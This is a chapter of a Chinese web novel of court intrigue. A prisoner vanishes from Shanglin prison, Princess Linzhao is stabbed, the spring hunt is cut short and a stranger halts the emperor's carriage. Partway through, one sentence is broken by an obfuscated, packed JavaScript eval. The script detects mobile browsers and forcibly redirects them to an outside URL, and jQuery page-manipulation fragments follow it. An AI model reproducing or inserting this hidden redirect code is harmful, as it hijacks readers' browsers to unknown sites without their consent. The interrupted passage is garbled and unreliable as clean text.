“这是怎么回事？”岑澈的声音听来有几分忧心。


    “晌午，上林狱出事了。”


    正午时分，烈日灼灼。虽是初春时节却天气却已然热得让人再睁不开眼，上林狱的守卒只余几人，大都懒懒散散的。


    “哎，你说这春猎什么时候才是个头啊。”上林狱外守卒眯着眼瞥了下身侧之人，话里话外都是想要尽早休息的懈怠语气，“你说，就这么几个圈人，只是林苑内驯兽失误，何至于关这么久？”


    身侧之人听了这些，连忙开口呵斥道：“你快小声些，让旁人听到了，小心你我都要进去了。”


    岂料那狱卒听了身侧同伴这话竟笑了起来，他斜斜倚着墙，又道：“此处左右不过你我二人，我说破了天也不过是天知地知，你知我知。巡卒又没来，谁还能听见？”


    然而话音未落，下一刻，便听牢狱之中倏尔传来一声格外凄厉的叫喊之声。


    狱外二人骤然站直了身子，方才那倚墙之人下意识吞了吞口水道：“你可听见了？”


    那身侧之人点点头，握起一旁佩剑就要进去查探。


    倚墙之人一把拦住了他，又惊又惧道：“你等一下！这群圈人他们向来与野兽为伴，身上不知道有多少暗器迷药，你我二人又并非武功高强之人，我们就是被拉来充数的，就这样贸然下去不知道要吃多少绊子。万一有事我们解决不了，那上面人一句话掉的也是咱们的脑袋。总之此刻还未出事，不如你我二人立刻去寻巡卒，你看如何？”


    身侧那人想了想，觉得有道理，二人便干脆迈着大步离开了上林狱。


    埋伏在一侧的祁晖亦听到了狱中响动，他又思及那夜见到的虚空字迹和岑澈对他的重重嘱咐，心下一横，干脆直接越入狱中查探一二。


    迈下几阶石梯，肃杀寂静的地牢里只有阴森的风声和令人作呕的腐烂气息。祁晖放缓了步子，倚墙而行，脚步稳稳落在地上却没有发出声响。


    走过一个拐角，似有风起，墙边烛火倏尔明灭不定，有几分摇摇欲灭之势。


    待祁晖彻底深入上林狱地牢之中，他才深觉诡异，硕大的地牢竟然当真只有方才那两个守卫。


    思及此处，祁晖又驾轻就熟地走到了最后一个转弯处，正欲查探那处隐秘之地，挑着烛火走近了，却见本应放着奄奄一息的宁皓那处此刻竟空无一人。


    祁晖眉头一挑，登时觉得血液倒流。有寒意自身后缓缓爬满全身，耳畔有利刃出鞘之声，祁晖下意识侧身闪过，却见一黑衣蒙面之人眉目神色凌厉，直直向他攻来。祁晖一时避之不及，手臂被利刃划破，当即便有鲜血渗出。痛意翻涌一瞬，他也立刻拔剑出鞘刺向面前人。谁知一瞬间，那人便隐匿于暗处，祁晖试图向前几步仔细寻找，却再不得踪迹。


    直到此时，祁晖才意识到，这座牢狱中不知何时所有犯人竟然顷刻消失了，他不可思议地望着身侧空空荡荡的牢笼，呼吸也骤然变得沉重。


    直到行至刑架处，只见面前有两个人一高一低被缚在刑架上，身上血迹斑驳狼狈不堪，甚至还在淌血。脑袋似是无法承受痛苦奄奄一息地垂着。


    空气中弥漫着若有若无的腐臭味，不必靠近，祁晖也知道那两人死了有些时日了。他望了眼身着粗布麻衣的二人，微微颔首后便转身又在狱中走了一圈，果真再寻不到宁皓的身影，听见院外似乎有响动，他这才立刻撤了出去。


    “事情就是这样。”祁晖沉声道，“虽说此话听来甚至有几分不切实际，但宁皓就这样凭空消失了。”


    “此事背后定然是有人相助。”岑澈看着祁晖被染红的衣衫，道，“此事先搁置，你得先去处理一下伤口。”


    听到这里，书越筝正要掀开帐帘同岑澈商议接下来该如何是好，忽闻身后有人脚步声传来。


    书越筝循声望去，来人步履匆匆，是贺翊。


    他眉宇间流露出几分焦急神态，即便见书越筝也顾不得那些礼节，草草向她点了个头便算是问好，径直就要往岑澈营帐里闯。


    谁知书越筝却一把拉住他的手腕，扬声道：“小贺大人止步，师父尚在休憩，不知阁下寻我师父有何要事？”


    她刻意将声音放得格外洪亮，是为提醒帐中人噤声。帐内二人清楚听见了书越筝的话，心下了然，立刻偃旗息鼓。岑澈理了理心绪，这才将将起身欲迎客。


    帐外，贺翊被书越筝拦住倒也没恼，只是愁色丝毫不减，正色道：“书二姑娘见谅，我见子霁兄确有急事，春猎怕是要提前结束了。”


    “为什么？”闻言，书越筝轻蹙眉头，有些不解。


    “麟昭殿下遇刺了。”贺翊眸光中带着几分戒备，压低声音开口道。


    与此同时，岑澈掀开营帐，邀二人入帐细谈。


    “方才，有一黑衣蒙面之人潜伏在麟昭殿下帐中，待殿下休憩时，此人竟直接对殿下痛下杀手，而殿下避之不及……”话至此处，贺翊忽而顿了顿。


    听到这些书越筝却觉得通体生寒，方才在祁晖的话中，亦有一个黑衣人将他堪堪刺伤后逃窜。而在书越筝的记忆中，麟昭遇刺之事是在她称帝后，与匈奴商议和谈一事时才发生的。


    “殿下如何了？”似是察觉到书越筝的缄默，岑澈默不作声地沏了杯热茶递到她手边，温声询问贺翊。


    “殿下此刻昏迷不醒，陛下决意终止春猎，半个时辰后归京，让严太医为殿下诊治。”


    听了此话，书越筝忽而意识到，在太医院也有这样一号人物，严太医严蔚春，太医院首席医官，年三十，算起来应该是岑澈的母辈兄长。


    “我来便是要和子霁兄商议，你我负责安排行程事宜。如今骤然回撤，可钦天监那群老古板都这时候了还在叫嚷着祖宗仪制不可废，这可如何是好？”


    “此时已然千钧一发之际，殿下性命攸关，回程事宜一切从简。”岑澈垂眸思索片刻，又道，“为陛下与殿下备好车驾，只择些许近臣相伴，再携禁军沿途护送，以最快速度归京。其余人等按照祖宗仪制缓缓回京，也未尝不可？”


    “既然如此，那便这样。”贺翊应下此事，又急匆匆出门预备。


    贺翊撤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432117|181531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走后，书越筝回望岑澈，道：“师父，方才上林狱之事我都听到了，宁皓跑了，我怀疑此事有极大可能是人为。事出从急，话不多说，你我此时不如陪在麟昭公主身侧，随她一同归京？”


    “好，你先去收拾行囊，我们立刻出发。”


    春猎来时，浩浩荡荡车马军队不计其数；春猎去时，却只余四五马车坐骑，三两近臣并驾齐驱，禁军紧随其后。


    书越筝没再避讳，直接同岑澈共乘同一马车，二人开始商议，此后究竟要如何是好。


    “师父，我已然向陛下提出蓟州一事，他看起来虽有质疑神色，却未曾拒绝我的提议。”书越筝眸子暗了一瞬，“他应下了。”


    “阿筝，你的表情可没有这么轻松。”岑澈抬手握上书越筝的手指。


    “他说，绝不允许向匈奴开战。”书越筝咬咬牙，却没说出其他，“我能理解他的意图，却不知该如何是好。此去蓟州，掌兵算是一事，灭匈之事更是重中之重，我答应过母亲，更何况边疆百姓如今仍在水深火热之中放弃此事对我来说决不可能。可他若不松口，便不会给予蓟州军费，边疆本就经费紧缺，如何练兵购置武器？”


    “此事我来想办法。”岑澈垂眸，默了默沉声道，“既然一切该发生的都会发生，那我应该也能得到机会，来将这所谓剧情推上一推。”


    “师父这是何意？”书越筝眉头轻挑开口道。


    “你记得吗？”岑澈忽而宽慰般抿唇笑了，“这个故事最重要的角色，还没出场呢。”


    书越筝脑海中顷刻之间闪过一个人影。


    前世与她纠缠最深，对她最为苛刻，娶了她的姐姐又迎娶苏枝筱的长姐，最后却被她一刀解决了的当朝天子，郑知彦。


    “师父的意思是？”书越筝牙齿轻颤，她开始在脑海里盘算前世剧情种种。


    先是书越筝大退匈奴，而后匈奴献降，麟昭女帝赴蓟州遇刺，最后，是郑知彦在洛阳称帝，而那时岑澈的身份，是帝师。


    如今麟昭遇刺一事来得蹊跷，会不会是剧情想要快速推进，而若推进剧情，那么郑知彦也是时候该出现了。


    当年是巧娘带着他出现在皇帝面前，可巧娘如今凭空消失，也不知道这郑知彦会以一种怎样的方式出场呢？


    思及此处，马车骤然被禁军叫停。一个踉跄，书越筝眼见就要向前跌去，岑澈眼疾手快立刻扶着书越筝将她护在怀里，一声闷哼，是岑澈的肩背磕到了坐席。


    书越筝自他怀里抬起头，眸光里尽是心疼，抬手将他拉起来后正欲开口询问他伤得如何，便听祁晖压低声音敲了敲马车道：“公子，陛下车驾被人拦停了。”


    闻言，书越筝与岑澈二人对视一眼，轻轻颔首后便立刻走出马车。


    只见最前方，果真有个衣衫褴褛的少年拦停了圣驾，他一人蹒跚地跪在路中，嘴里念念有辞：“让我见陛下！”


    禁军首领驱赶他，他却未动分毫。最后，禁军首领拔剑出鞘，却看他一手扬起一块做工精致的玄玉扬声道：“陛下！您可还认得此物？”